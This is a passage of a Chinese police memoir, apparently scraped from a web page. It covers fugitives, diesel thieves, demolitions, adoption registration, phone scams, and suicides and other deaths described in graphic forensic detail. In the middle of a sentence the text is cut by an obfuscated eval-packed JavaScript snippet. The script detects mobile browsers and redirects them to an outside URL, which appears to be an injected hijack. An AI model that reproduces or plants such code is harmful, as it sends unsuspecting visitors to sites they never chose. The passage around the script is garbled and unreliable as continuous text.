曹某真实身份就是易某可能性很大，正常人是不会冒名顶替的，肯定有事。这一切都是悄悄做完。第二天，洪副和我还有一名当时刑侦中队民警，三人来到村警务室，照例通知大家来开会布置工作，曹某如约而来，洪副喊了一句“易某”，他条件反射的迟疑了一下，迅速被我们几个控制，带回所里审查。很快，易某就承认冒用了曹某的身份，并如实供述当年的案件。原来多年前，在鞋都镇一个野外，易某伙同他人，做了那起拦路抢劫□□案，案件极其恶劣，公安机关迅速侦破案件，其他同伙都被抓，仅剩他一人在逃，他为了逃避打击，四处躲藏，捡到一个曹某的身份证，就冒用曹某的身份，四处务工，最后又回到鞋都镇，其他人都已经监狱服刑多年，他认为事情风声已经过去了，看到巡逻队招人，觉得巡逻队很好，有句俗话说：最危险的地方，就是最安全的地方，他也是这么认为的，只要能过关，说不定还能打听到自己的案件情况，加上多年冒用他人身份证生活，没有被识穿，他都觉得自己就是曹某，于是就到公安机关来报名，从事自己理想的职业，只是没想到才几天就被识破。经提取DNA证据比对，易某就是其中一名案犯。 我做梦都不会想到，在自己辖区抓到的第一个逃犯，居然是自逃罗网的，易某不过聪明反被聪明误，其实易某也没有被上网通缉，身份并没有被识破，如果不是他内心有鬼，使用他人身份证，增大了自己的嫌疑，或许没那么快被抓，但是天网恢恢，疏而不漏，正义从来不会遗漏，多行不义必自毙，易某就是典型的“自毙”。 此案给了我重要的经验教训，所有的人员必须核查仔细清楚，凡事多怀疑，多问几次，因为我们斗争的对象永远都很狡猾，稍不注意就成漏网之鱼，还有就是特勤耳目真的很好用，用好了真是威力巨大。 四、与“油耗子”第一次交锋 整顿好巡逻队队伍，可以开始开工干活了，按照我之前预想的，密集开展巡逻防控工作，采取不定时突击的方式，针对赌博窝点、□□女集中区域进行不间断的突击，前后抓获处理二十几名涉嫌违法人员，这两类违法活动基本上就从桂林村消失了，转移到其他村了，一下子村里就变得清净多了。还有些在外面从事违法活动，住在村里的，听说我要去找他，我到村头，他就从村尾跑了。有个阶段性的战果，我的注意力就转到别的地方，腾出手来整理出租房，但是事与愿违，知道我离开桂林村，都没有完全解决出租房登记不全的问题，不过经常性的清理出租房，前后抓过两个逃犯，还抓过几个涉嫌盗窃犯罪的嫌疑人。 之后村里打架斗殴的事情也少了很多，案件也少了，我的日子开始清闲起来，但是我还是坚持每天都到村里转悠，当时没有车，就骑着摩托车，豪爵铃木男士摩托车，穿上便服，带上头盔，还以为我是摩的司机，在村里晃来晃去，时间久了，就跟大家混得很熟悉了。有一天，有个老大妈告诉我，在靠近机场边的空地，有一处旧仓库，最近有一伙人租了，不知道搞什么，白天总是看不到人，总是在睡觉。白天在村里四处转的时候，我看到一辆绿色三菱帕杰罗V31高低顶那款越野车，没挂牌，停在偏僻的位置，车子的玻璃膜贴得很厚，看不到里面，车子有股柴油味。 刚开始，我一直在想这是谁的车，我四处打听询问，没有人回答我，我还以为是辆走私车，那个时候，有很多走私车还是比较常见的，管理不是那么严格。奇怪的是，白天总能看到这辆车，但是停在不同位置，有时在工厂院内，有时在路边，看不到人来开。白天在的位置，我利用晚上值班的时候过去查看，车又不见了。 虽然刚参加工作不久，但是我还是有种职业的敏感，这台车太可疑了，我就吩咐巡逻队员，多注意这台车。果不其然，半个月后，有一天我接到巡逻队员打来电话，称那台三菱越野车晚上出去，半夜回来，他们跟着车子，发现车子进了村里靠近机场的那个旧仓库，当时凌晨六点，我打电话通知所里巡逻中队人员去增援，我则赶往现场，我带着所有巡逻队员，抹黑到那个仓库的时候，旧仓库门口有块空地，停着一辆小货车，还有那辆三菱越野车，有几个人在搬东西，见我们巡逻队员闪着警灯的摩托车靠近，突然朝我们扔石头，我们猝不及防，根本没想到会被攻击，只好散开躲避，他们趁机拔腿就跑。那个仓库因为位置偏僻，只有一条路可以开车过去，仓库两边是农田，后面是一大块空地，他们分散跑向农田和空地，有一块农田是稻田，有一个慌不择路，一头冲进去了，双脚在淤泥内，等他爬出来，我们已经赶到，将其抓人，而其他人借着黎前的黑暗，逃得无影无踪。 我们押着抓获的嫌疑人，检查现场，发现仓库门前那辆小货车，是一个改装用来装柴油的油罐车，而绿色三菱越野车，后排座位全部被拆除，放着十几个白色大塑料油桶，大部分都装满柴油，现场还找到一个抽油的泵和管子。打开仓库，进去查看，仓库里是那种大的铁的圆柱形油桶，有大约十几个，大部分都是空，只有几个装着柴油，没有找到跟人员身份有关联的物品，没有看到有价值的东西，不过找出了十几付车牌，有各个地方的，经查都是假牌。 因为是第一次遇到这事，刚开始以为他们是走私柴油的，我只听说过走私油的，但是巡逻队员告诉他们是偷柴油的，工具齐全，装备精良，使用车子经核实是假牌，我马上联系刑侦中队，将抓获的嫌疑人带走审查，经审讯，犯罪嫌疑人交代跟其他人一起，驾驶三菱越野车去盗窃大货车柴油，但是其他人具体身份不明，只知道是安徽人；犯罪嫌疑人被刑拘后，检察院没有批捕，因为没有找到对应的案件，除了现场查扣了大约300升柴油，但是只有被盗来的柴油，没有人报案，无法形成完整证据链，就无法定罪，最终犯罪嫌疑人被关押一个月后不得不释放，案件成了悬案。 这是我第一次遭遇这些偷柴油的油耗子，领教了犯罪嫌疑人的狡猾，树立了证据意识，办案件没有那么简单，学习了刑事案件要素。这次让他们侥幸逃脱，下次再遇见，绝不放过。后来下一次再遭遇油耗子，是2014年以后的事情了，当时我通过视频侦查技术，协助抓了几伙盗窃柴油团伙，他们就没有那么幸运了，都是人赃并获，最后批捕，定罪审判，然后一直被送到监狱服刑。所谓因果报应，世事轮回。 4. 第 4 章 五、拆迁 来广西村第二年，我遇到那个时代，公安民警都会遇到的事情，当地党委政府领导要求我们参与拆迁工作，在那个时代，拆迁都是公安在场的，甚至直接参与拆迁工作。大部分的拆迁都是政府征地买地卖给房地产开发商盖楼，时而引发矛盾冲突，是公安系统最不愿意去干的，我在晋江遇到的拆迁，有的准备修公路，还有违章建筑拆除。我记得修鹏青路的时候，要拆掉一些房子，很多群众不同意拆迁补偿方案，但是修路是公共事业，你如果不同意，发通知就强拆，有一次有个老人家，带着汽油上屋顶，被我们劝了下来，与其说劝，应该是直接架出来，他出来后，房子立马被强制拆除。鹏青路，从花厅口到江头，那段路硬是被拆出来的，我是全程参与的。城管是冲锋队，我们在后面看着遇到极端人员，我们就处置。 这次的拆迁，是河道整治，沿河两岸的建筑人全部拆除，建立绿化带隔离。广西村河道500米，河岸两边建立非常多的房子，生活污水，垃圾都直接往河里排，日积月累，整条河都被污染，变成了臭水沟，污染异常严重，河道飘着各种垃圾，还有绿葫芦，政府下定决心，要治理污染。经过广西村的这条小河叫什么名字，我已经忘记了，但是故事很多，我后来换片区，调整到南霞美西霞美两村，接手是的施永助，刚刚第一个月，发生一起案件，案情大概是这样： 来自重庆的姐夫跟小姨子有染，小姨子晚上约姐夫在河边桥头见面商谈，小姨子姐夫要求跟姐姐摊牌，并以死相逼，姐夫自知理亏并不理会，小姨子见姐夫并没有答应自己要求，就跨上桥栏，欲要跳河，再次逼姐夫就范，姐夫鬼使神差的，居然怂恿小姨子跳河，小姨子火辣脾气，果真跳进这条黑水河，这条小河宽不到10米，两边均有上下河面的石阶，石阶旁停放着用于清理河面垃圾作业用的小筏子。小姨子跳下去后，因淤泥较多，一直在桥下河中挣扎，而姐夫在桥上默默的看着，并不理会呼救，也没有亲自下去救人，看着小姨子不再挣扎，便独自悄悄离开，事后小姨子尸体被发现，作为非正常死亡案事件，民警都要第一时间介入，调查死因，确认是否是他杀，在现场桥头，是一家工厂大门口，门口装有视频监控，整个事件过程被完整记录下来，欲盖弥彰的姐夫因涉嫌过失杀人罪被刑拘，至于后续有没有定罪判刑，我没去了解，不过我了解的这条不知名的小河，发生各种故事是真不少，最诡异的莫过于后来发生的碎尸案。 因为这条河内垃圾堵塞，臭味难闻，群众意见很大，人大代表多次提议治理，既要金山银山也要绿水青山，经济高速发展对环境造成的伤害，令人惋惜，必须改变这种粗放型的发展方式。痛定思痛，政府决策部门决心开始环境治理，冰冻三尺非一日之寒，这条河十年前清澈见底，鱼虾成群，短短十年已是黑水横流、恶臭难闻。要想治理好，首先是要切断各类污染源，疏通河道，方案是第一步改造河道，将沿河边的房屋直接拆除，将河道用石板、混泥土的方式加固，过程中清掉直接向河中排污的各种管道，疏通河道后，水活起来，逐步生态恢复。要想改造河道，可不容易，要拆除原先建在河边的大量建筑物，改回绿地，整个拆除工作涉及九个村，沿途的社区民警都被要求加入工作组，统一开展相关工作。工作方式是，先摸底，把房屋的实际所有人情况摸清楚。经过调查摸底，发现河岸两边的房子大部分为违章建筑，政府拟定补偿价的方式签订协议，然后拆除，工作推进顺利，但是还有少部分的房屋是当时合法手续审批建设的，不乏一些钉子户，嫌价格低，不同意拆除。通过村干部做工作，大部分都顺利拆除，剩两个钉子户，我印象深刻。 一个是杀猪的五兄弟，另一个是归国华侨亲属。杀猪的五兄弟，在河边的楼很大，有多个门面，用于囤放待杀的生猪，还有就是杀猪和卖肉铺面，杀猪产生的各种垃圾，例如猪粪、猪毛等物则直接排放到河中，是个污染大户，但是，其房屋是合法手续建的，因为生意的缘故，所在位置很好，后面是河，门前是鞋都到石狮公路，很便利，所以不愿意拆除，各种做工作，都没有结果。因长期经营杀猪的营生，在当地颇有名气，也有不少积蓄，很多人都在观望他们的房子是否会被拆。那年恰逢农历猪年，有传言说，杀猪的最怕过猪年，总有劫难或不顺。为了掌握第一手资料，我亲自上门与五兄弟的老大老二见面，两年都已年过五十，性格温和，说话客气，完全不像固有的屠夫的形象，皮肤黝黑，长期的劳作，脸上堆满了皱纹，看上去像个老农，本身就是农民出身，家里还有几亩水田，综合来说，他们属于勤劳致富的人，全年无休，每天早起骑着破旧的摩托车去挑猪，运回来杀，杀完还要卖。我内心对他们是充满敬佩的，但是，房子还是要拆的，如何做工作呢，我只负责提供情报信息，工作由政府部门派人做。就这么僵持了一段时间，很快就有了转机，兄弟五个手上有钱，不想乱花，于是在自家的田地里盖了一栋楼，一大栋，五个独立的楼连在一起，计划是兄弟住一起。但是地、楼都么有审批手续，关键是，盖房子是用的基本农田用地，建筑加庭院加进出的路，总占地面积有五亩。很快治安大队来人，毁坏耕地超过5亩是要负刑事责任的，某一天的凌晨，我带着治安大队的民警守在老大老二每日要经过的路口，将二人抓捕回去，很快两人被刑拘，他们的河边的房子和稻田上的房子都被拆除，两人才被取保候审，晋江检察院后来免于起诉。 归国华侨亲属的房子，处在靠近大三房主桥的位置，三层砖混结构，占地面积可能80平左右，跟其他房屋外墙连在一起，由于一直没有做通工作，也没有拆除，但是施工还是按照计划，其他的房子已经拆除得差不多了，每次拆房子的时候，都要出动几十台车，上百人在现场各司其职欧尼，最后拆归国华侨亲属隔壁那栋房子的时候，不知道是有意还是无意，施工的挖机不小心把华侨亲属的房子捅出一个大窟窿，家里男主人当时不在现场，没办法，施工队派出人员由政府工作人员带领，上门补墙，谁知男主人突然从外面回来，上楼就跟政府工作人员发生争执，男主人持砖头砸向政府工作人员，我在楼下，看到政府工作人员满脸鲜血，被人搀扶下楼，那家男主人随后被控制，带到办案区，因涉嫌故意伤害罪被刑拘，羁押看守所，房子被拆除，赔偿款几乎都用来赔给被打伤的那名工作人员。现在那条河两边全部是公路及绿化带，种上了很多树。河水不再散发浓烈的臭味，据说已经有很多鱼在河里安家了。 六、落户调查 社区民警，日常工作繁多，宗旨是为人民群众服务，打击犯罪维护治安是首要任务，但不是主要任务，其实还有相当一部分的工作，是看不到成绩，但是你必须做，做得好才能得到群众的认可。 在鞋都，劳动密集型企业带来的海量流动人口，给社会治安带来巨大的隐患外，还给社会管理带来很大压力，计划生育就是其中一点，以往计划生育工作都是针对户籍人口，非户籍人口没有人管理，一旦失去有效控制，中国人制造人口的速度，不亚于工厂流水线，家庭生活层次越低的，生育人口的积极性越高，几乎是没有计划，没有节制。有一次清查出租房，在一处租房内，一对来自四川的年轻夫妇，丈夫30，妻子29，到晋江务工9年，生了5个孩子，最小的已经9个月大了，两人租了两间房，类似筒子楼的单间，妻子没有工作，靠老公一人养活，同样的事例，经常可见。 这是已婚夫妻制造人口，无可厚非，可怕的事情还在后面，工厂带来了大量的未婚青年男女，年轻男女在一起，会发生各种故事，有爱情故事发生，也有各种悲剧发生。经常在各新闻媒体，报纸杂志，门户网站上出现的故事，我也司空见怪。 2008年，责任区调整，我换到南霞美、西霞美两个村，两个村都不大，加在一起总人口还没有桂林多，桂林村全村人都姓林，西霞美也是姓林，南霞美则是姓杨，两个霞美是连在一起的，中间是一片稻田地，还有几个小水塘。两个村子没有河流，但是溪流很多，多条溪流穿村最后汇聚流向大海。几百年的生存繁衍，人民将溪流都被用石板砌成了水沟，变成排水沟渠。这天我徒步走在沟渠边，前往村民家入户访查，无意发现沟渠内有一个娃娃，类似橡胶做的仿真娃娃，很常见的那种，当走到跟前，却发现这是一个刚出生婴儿，赶紧通知人捞起，婴儿已经死亡，是个男婴，身上脐带没有剪，还连着胎盘，心里咯噔一下，令人惋惜，我通知了法医过来，鉴定为刚初生，死亡仅几小时，我找到村干部，请村里支持，出费用，将小孩送去活化，骨灰就留在殡仪馆。我见证过很多死亡，但是初生生命的这种死亡，让我很是不安，作为一个生命，给他起码的尊重，虽然一出生就遭遇死亡，任何一个生命都需要尊重，他的父母太狠心了。事后，经过调查，一个打工妹，未满18周岁，懵懵懂懂的，与男朋友享受男女之欢，没有任何措施，事后发现怀孕了，男朋友害怕承担责任，直接消失了，女孩紧张的等待了七八个月，独自在工厂宿舍将小孩生出，没有父母亲戚在身边，远在西南山区的父母还等着女孩寄钱回家，新生小孩的啼哭让女孩慌了神，将小孩扔出窗外，窗外便是那沟渠，见证了生命的诞生与终结。与这个悲剧相比，还有一些小孩就幸运得多，很多类似的小孩出生后，父母便将其遗弃，当然也有甚至将其出卖给需要小孩的家庭，拿钱离开，晋江的福利院，还有几个寺庙收养了很多这样小孩，也很多本地的家庭，收养了这些小孩，人民群众都很善良，也很朴实，有一些家庭，其实并不宽裕，但是仍然收养小孩，并且是统计出，跟自己的小孩一样照顾，转眼多年过去，有些小孩已经到了上学的年纪，但是因为计划生育的原因，没有上户口，学校招收学生，是以户口作为依据的，这些小孩上学就成了问题，出生是他们的不幸，不能再让他被社会遗弃。作为社区民警，收集了很多这种情况，我就上报，最后市里出台政策，可以上户口，但是必须调查清楚来源，并由民警出具报告，防止出现买卖儿童的行为，于是那两年，我开始了调查工作，为了对所有人负责，必须把每一个小孩的情况弄清楚，写成报告，并非易事，特别是找当时的见证人，因年代久远，很多见证人对细节描述都有偏差，这还需要我去分析，最后，还要带领养人和被领养人去采集血样，获取DNA样本，确定不是违反计划生意的亲生子女，将来被领养人生父母若是来寻找，还要将小孩还给亲生父母。 被领养的小孩，几乎都是刚出生或几个月大的时候被遗弃，或者被送到这里，还有一些有先天性疾病的，送到条件好的家庭收养，能够得到医治，存活下来。在西霞美，有个好心的家庭，自己生了一男一女，还领养了一男一女，家里四个孩子，生活过得紧巴巴的，但是其乐融融，通过村支书找到我，想要上户口，时任村支书林炳灿，在村里德高望重，关心村民疾苦，群众有事，都当做自己的事情处理，深受群众爱戴，连任多年，但是也误入歧途，最后因为，村民盖房子，他去给行政执法人员行贿，最后被判缓刑，免去支书，在家休养。调查落户，首先从小孩来源查起，这户人家刚刚开始是在土地庙门口捡到一个女婴，当地人迷信，认为是神灵指示要收养，于是便收养，后来事情传出去，说这家人心肠好，神仙保佑，还有送来小孩。没过多久，就又有人将一名男婴送到家门口，留有纸条，说孩子爸爸被抓走坐牢，无力抚养，留下出生年月日，就这样收养了两个孩子，为证实真实性，我花了一个星期时间，做了十几份调查笔录，最后两个小孩成功落户。那两个小孩不出意外，现在应该上高中了。 七、死亡调查 社区民警，还有一项工作，就是调查非正常死亡，辖区人口众多，隔一段时间，就有人死亡，死亡原因，可能是病死或者是意外，还有可能是自杀，非他杀的死亡事件，社区都得调查取证，留下证据资料。那几年，我见过各类死亡，被火烧死的，病死的，还有被自己开车撞死自己的，喝酒过量死亡、意外高楼坠楼，生产事故，还有溺水的，海里来的漂尸，见过最多的是自杀身亡的人，我看到的是各种自杀的人，面对他们的冰冷尸体，我无能为力。唯一成功救过一个自杀未遂的，当时在广西村，大年三十，我值班有个哥们可能觉得自己很失败，大过年的没有回家，倍感孤独和伤感，于是喝了很多酒后，割腕自杀，喝醉后，力气不够，手腕割了十几道口子，全部愈合，后来又吐了一地，之后酒醒了，打电话报警求救，现场是血腥味呕吐的味道混成一片，那个报警人躺在床上呻吟，最后救护车将人接走，事后，工厂老板电话告知我，人没有生命危险。广西村是福地，我在广西村任职时，死亡事件很少，两年没有恶性案件，也没有命案，非正常死亡事件特别少，到时西霞美南霞美，就特别邪门，有一段时间，连续多月，每到农历二十二，都会有人死亡，有跳楼的，上吊的，还有醉酒的，海漂尸，那段时间，一到农历二十二，我就祈祷。 第一个死亡的是跳楼的，那天我值班，派出所通知我，辖区风华厂，有人跳楼身亡，我急忙赶往现场。派出所到西霞美不远，开车十几分钟就到了，刚刚吃完晚饭不久，坐在车上，仰望天空，黑云正在吞噬最后一丝霞光。我打电话给巡逻队让他们赶紧把现场保护好，把无关人员隔离开。我赶到风华厂时，已经是晚7点多，天已经全黑。巡逻队已经把现场的两处出入口封住，不让人进出，很快法医和刑事技术人员已经赶到现场，我们一同进入，现场位于工厂主生产车间那栋楼后面，那栋楼再往外两米是围墙，围墙把厂区与外界隔离开，死者面部朝下，趴在围墙与生产楼之间地面上，身下是一滩鲜血，留着刚过肩的长发，扎着辫子，有些凌乱，上穿绿色短袖，下穿浅色七分裤，身上有多处外伤，手是反着的，右手上臂已经断成两截，伤口外翻，可以看到断骨处血肉；右小腿骨头已经断裂，皮肉和身体连在一起，有个非常大的创伤面。两只脚都是光着的，没有穿鞋袜，在离身体不远处散落着一只塑料拖鞋。现场勘查的法医，拿着手电筒，照向尸体正上方，在二楼的位置是一处伸出墙面后搭的铁皮棚顶，隐约看到铁皮棚顶有血迹。旁边这栋楼有七层，身体正上方楼顶是七楼天台进出的楼梯间，我打开随身携带的手电筒，跟随法医一起上楼，楼梯间的们没有锁，直接可以走到七楼天台，这里平时来到的人不多，楼上灰尘很重，刚出楼梯间，就看到一堆的鞋印，跟着楼下发现的拖鞋的鞋底印，这鞋底印延伸到天台的护墙，护墙约一米高，宽约30公分，上面贴有瓷砖，很容易爬上去，在护墙边，我们找到另外一只拖鞋，从外观看跟楼下发现的是同一双。在护墙的上面我们找到很多拖鞋留下的脚印，来来回回。 这栋楼六楼是仓库，七楼是闲置，我们决定去七楼看看，刚刚下到楼梯，进到七楼，七楼没有安装电灯，黑乎乎一片，这时我手机响了，把我吓了一跳，是一个陌生号码来电，对方是一个略带闽南口音又类似潮汕口音的中年男子，一开口直呼我名字，说好久不见，问我还记不记得老朋友了，我说不记得，因为自杀的事情，还要认真调查，没时间跟他废话，看我不耐烦，他就自称是老张，我马上说张总啊，不好意思，对方马上换口吻说话，一路拉家常，聊了几句，发现他并不知道我是干啥的，只是知道我的姓名，我已经意识到这是骗子，来自广东电白的骗子，我也没有急于挂电话，跟他聊了下去，聊着聊着，他就说第二天泉州，我就说好，来了联系，挂了电话，我怕我忘了这事，赶紧把这个手机号存为骗子，静静的等待第二天他的表演，经过这个插曲，原本困顿的我开始来了精神头，开始认真梳理，着手调查这起死亡案件，经过多方走访，以及到死者居住的宿舍查找的遗书等物证，死者最后几个小时的活动一点一点呈现： 死者还有几天才满16周岁，来自重庆山区一个穷困家庭，母亲早些年抛下妇女不知去向，父亲再婚后，后妈对死者并不是太好，初中毕业后，在当地政府的帮助下，虚报年龄16周岁，进入当地的劳动培训基地进行职业培训，获得结业后，经介绍来到风华厂务工，因工厂流水线，工作强度较大，死者长期营养就不良，体质较弱，难以承受压力，多年积压的负面情绪养成后，死者在工厂宿舍，写下一张笔记本撕下的纸写下了短短不到100字的遗书，走上了天台，在天台护墙上，来回踱步（有多个群众看到，以为在玩），至少一两个小时，后从楼顶掉下（法医现场勘查后认为死者失足落下，所以一只拖鞋掉落在天台），掉下的时候发出了一声尖叫（多个现场群众均听到），掉落过程中碰到外墙上的工业空调外机，搭的的铁皮屋顶等物，造成身上多处外伤（符合碰撞引起伤口）及骨折，（当时一定很疼，持续时间极短），接着砸向地面，因头部先着地（整个头骨碎成多块）造成死亡，死者虽然后自杀的心，但是一直犹豫，但是没有勇气，最后失足掉下，在惊恐和极度痛苦中死去，花一样的年华，还没有盛开就已凋谢，我找到她人生最后一张照片，是一张孩子的脸，但是没有天真的笑容，充满着愤怒、痛苦和忧郁，或许她生前还一直承担着痛苦，天堂是她最好的去处。 这是我第一次调查和处置跳楼事件，因为深入调查的原因，晚上睡觉时做梦还在还原她最后几个小时的画面，最后看到死者的笑容。后续风华公司给了家属一笔丧葬费和慰问金，我并没有见到她的亲人，可能我知道真相的我不想看到他的脸。之后有几年看到富士康公司跳楼几连跳，我都是一笑而过，只有亲身去经历过这些事情，你才会理解他们为什么选择一跃而下。生命很可贵，只有一次，要善待和珍惜。 那个来电的张总，第二天如约来电，一来就问我高速交警有没有熟人，我马上说有，除了什么事，我来联系，他马上改口，说不用事情已经解决得差不多了，在高速上出车祸，身上钱不够，我马上说找保险公司啊，他说不用，双方私了，对方有人受伤，他这边还好，没事，现在在医院给点钱事情就算结束了，等事情结束，他就过来过来找我，我说好，你还差多少，他说还差两万，我没问题，账号发过来，我给你转，他马上挂掉电话，短信就发过来了，账号用户名，我收到短信也没理他，自己忙自己的，过了半个小时，来电询问我钱转了没有，我说已经安排我老婆去银行转了，其实我瞎编的，我当时还没结婚，对方说好，又过了个把小时，他又来电话，说很急，放心，我已经叫我老婆快点去了。对方有些不耐烦了，没多久又来电话了，我就告诉他说，我老婆在银行，通过电汇填了一个两万元的单子，但是我账上只有一万八，银行说我这单已经做进系统，一万八冻住了，只能再存两千进去，然后完成这单电汇才能解冻，兄弟不好意思，你能不能帮忙，打两千块到我账上，那两万就自动转给你了（这是在网上看到的一个帖子，我依葫芦画瓢），结果人家直接骂了句，你这个骗子，然后把电话挂了，我再打过去给他，他不接，我继续打，他直接关机了。类似诈骗电话我还接到很多，典型的冒充熟人换号码来电，一旦你认了，就开始找各种理由找你借钱，借完就消失了了，有说自己□□被抓的，问有没有熟人，然后要罚款，怕老婆知道，叫我帮忙借钱给他交罚款，回头还我，我直接回答他，没事，我找你帮你捞出来，不用罚款，问他在哪里，然后他就不理我了。这类诈骗后来升级为，冒充领导，一个电话过来，明天到我办公室来一下，第二天，他就遇到事，类似□□，车祸等等，叫你打钱过去。由于中国的信息泄露很厉害，个人信息保护做得不好，你的一些私人信息，会被记录，然后被卖给骗子，所以他就直呼你姓名。后来在刑侦，我们遇到很多案件，其中一个，直接打电话就喊爸，接着就是被高利贷绑架，要求还钱，还有被打的惨叫声，如果对方上当，就叫对方不要挂电话，直接到银行，操作ATM汇钱，因为手机占线，无法核实，很多人救子心切，就被骗了，我遇到一个大爷，就是接到这个电话，家人报警，我们在农业银行把人找到，大爷差点就把钱汇出去了，我们成功阻止了诈骗得逞。当然这种成功阻止案例比较少，骗子很难抓到，抓到判罚很轻，只要骗子还在，诈骗就不会少，关键是大家要提高防诈骗意识。 很快一个月过去，过了整整三十天，又是农历二十二，因为三班倒，我值班，晚上八点多，值班室通知我，西霞美一工厂宿舍，有一名工人自杀身亡，第二起非正常死亡案件更加离奇。我赶往现场，人是上吊死的，到到的时候，人在工厂院子地上躺着，盖着一块床单布，120的医生告诉我人已经没有心跳和呼吸，确认死亡。 这是一家很小的单线工厂，做配套生产的，工人有四十来个人，宿舍比较简陋，是一个大库房，用砖墙隔开的小格子间，面积小，通风差，光线差，用一个词形容，“逼窘。死者是在自己睡的那个小房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821845|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，用一根工厂里常用的织带上吊的，织带挂在房间门头上，进到房间查看，里面放了张床，与其说是床，其实就是用砖头垫高的一块木板，可以睡两人，铺上一床被子，一张毛毯，两个枕头，床铺非常凌乱，散落着一些衣服，纸本等物品，掀开床铺，底下放了多个没有过的避孕套，除此之外，整个房间就剩下一个旧桌子，堆着很多物品，旁边有个行李箱，这是大概是全部家当了，整个房间所剩空间基本没有了。死者来自云南，23岁，男性，身高约1米7，很瘦，局里新来的法医小王，带着一副黑边眼镜，说话风趣，毕业于刑警学院法医学专业，是年轻专家，那是我是第一次见他，动作专业熟练，很快检查完尸表，没有外伤，没有中毒的迹象，颈部有一明显勒痕，从颈部延伸至耳根位置，死于窒息，符合上吊形成，基本排除他杀。 死者身高1米7，用一个带子，挂在房间门背，就把自己给解决了，真的是一心求死，房间门的高度才两米，带子差不多40公分长，没有垫凳子，因为房间很小，打开门就是床，他踮起脚就把自己放进那个让他窒息的带子内，到底是什么原因，让他一心求死，效率很高，据他同厂工人也是老乡反映，就是二十分钟不见，去找他，就发现他上吊了，马上搬下来，人已经死了、随着调查深入，自杀的原因很简单，女朋友跟人跑了，想不开。他女朋友跟他青梅竹马，一起从云南来晋江务工，但是工厂环境较差，收入较低，比预想的差很多，女朋友就要他一起走，他不想走，因为几个老乡都在，最后女朋友跟另一个男人走了，死者就想不开，第二天晚上晚饭后就选择上吊自杀。生死是很快的，或许就是几分钟的时间。 我有点感慨，死亡见得多了，越来越麻木了。 当我刚刚从前两期的死亡调查真相走出来时，第三起来了，又是农历二十二死亡的，头个月大31天，所以那天不是我值班，但是是白天，早上八点到单位，准备开早会，值班室通知我，辖区一个鞋底厂，有一个中年男子死亡，也不用开早会了，直接叫上白班司机，开车直接到了西霞美，死亡现场位于该厂保安室，死者是保安，报警的是其老婆，老婆早起的时候发现老公一动不动，怎么叫都没反应，赶紧打电话叫120,120到了以后确认人已经死亡。 我到的时候，保安室已经被封住，死者老婆在旁边哭天喊地，死者躺在保安室的内床上，大约1米5宽的床，挂着蚊帐，铺着竹席，死者年龄大约40岁，微胖，腹部明显肿胀，全身发紫，嘴唇乌黑。经了解，死者永春人，42岁，在工厂保安已经多年了，老婆在厂里做工，两人都住在保安室。死者平时喜欢喝酒，保安室放了很多酒瓶，据死者老婆反映，死者头天晚上喝了一瓶白酒，然后入睡。我们在现场也找到酒瓶，是以一瓶玻璃瓶贴着红色标签纸的本地产的白酒42度，酒瓶法医拿回去了。经法医检查尸表，典型的酒精中毒死亡，死者肝脏位置肿大，全身发紫、死亡时间在头天凌晨1-3点之间，超过六个小时，体表已经出现尸斑，家属没有异议，我通知殡仪馆，很快尸体运走。 据熟悉的人反映，死者很喜欢喝酒，经常喝醉，劝过很多次，大家拦不住，经常因为喝酒跟老婆吵架，有时还会动手，属于脾气比较大的，平时也容易动怒，长期喝酒肝脏有问题的典型代表。 经调查和录像资料整理，排除他杀。 死者嗜酒如命，最后酒果真带走他的生命，只留下一对母女哭断魂，从此她们的天崩塌了。活着的人，要对自己好一点，珍惜身边关心自己的人，关心身边的人。 作为社区民警，其实看到的死亡不比刑警少，一次又一次的死亡让我内心变得麻木，也让我看淡了生死，生死就是一瞬间的事，也让我变得更加从容，不再惧怕，可以直面各种死亡场景。有时也会做出一些匪夷所思的事情，有次晚上值班，凌晨四点时，处理江头村一起高空意外坠落死亡的裸男时，检查完尸体，确实没有生命迹象后，就保护现场，因为太饿，在等候法医出现场时，我居然坐在尸体旁边吃面包。这是从警生涯中经常能看到的画面，只是画风诡异。 八、落水蟊贼 南霞美社区，属于鞋都较小的村居，户籍人口仅1200余人，有一定规模的工厂企业只有二十余家，属于较少的村，外来人口也就较少，但是海外侨胞特别多，还有联系往来的海外华侨就超过2000人，著名的华侨村。华侨主要下南洋的比较多，在南洋，这些华侨勤劳经营，积累了很多财富，就返回家乡，买地盖楼，不完全统计，南霞美有几十栋华侨盖的各式南洋风格的别墅，这些别墅建筑风格各异，各有特色。主要建筑材料是大理石花岗岩，带花纹红砖，红瓦。有中式传统四合院，也有防欧式的，石头做的罗马柱建筑外观的，也有哥特式建筑，很多房子房前屋后种有热带植物，典型的南洋混搭风格，很独特，乍一看，你还以为到了南洋，很像在电影中南洋各地经常出现的各式建筑。现存最多的，保护起来的就是晋江五店市，现存仅百栋。如果有机会去过晋江的五店市，那里简直就是这类建筑的博物馆，很是漂亮，晋江有这种房子集群的村落地方很多，五点市、新塘的桐林，鞋都的南霞美等，很多房屋，年久失修，人为翻新改造，各种人为破坏，之前没有保护意识，导致现在存世越来越少，目前的大多保护起来，或者整体搬迁，再修复。 在08年的时候，还有没有这种意识，有些别墅还是有人住的，南霞美有部分豪装别墅空置，这就吸引了很多流浪汉还有小偷的惦记。经常有流浪汉撬开别墅的门锁，占领为固定住所，捡来垃圾堆满院子，村里时长组织人员清理。有的别墅里，光顾的人可不是这样，晚上过来留宿，白天就走的时候，从房子里拆点东西，拿去卖了，有个别华侨留下的别墅位置较偏僻，也没有亲戚朋友照看，经常被光顾，甚至门窗都被拆走，当时的治安形势还是比较严峻的，缺乏科技技术手段，只能靠人工巡查，村里专职治安巡逻队仅有六个人，靠他们按去巡查防范。 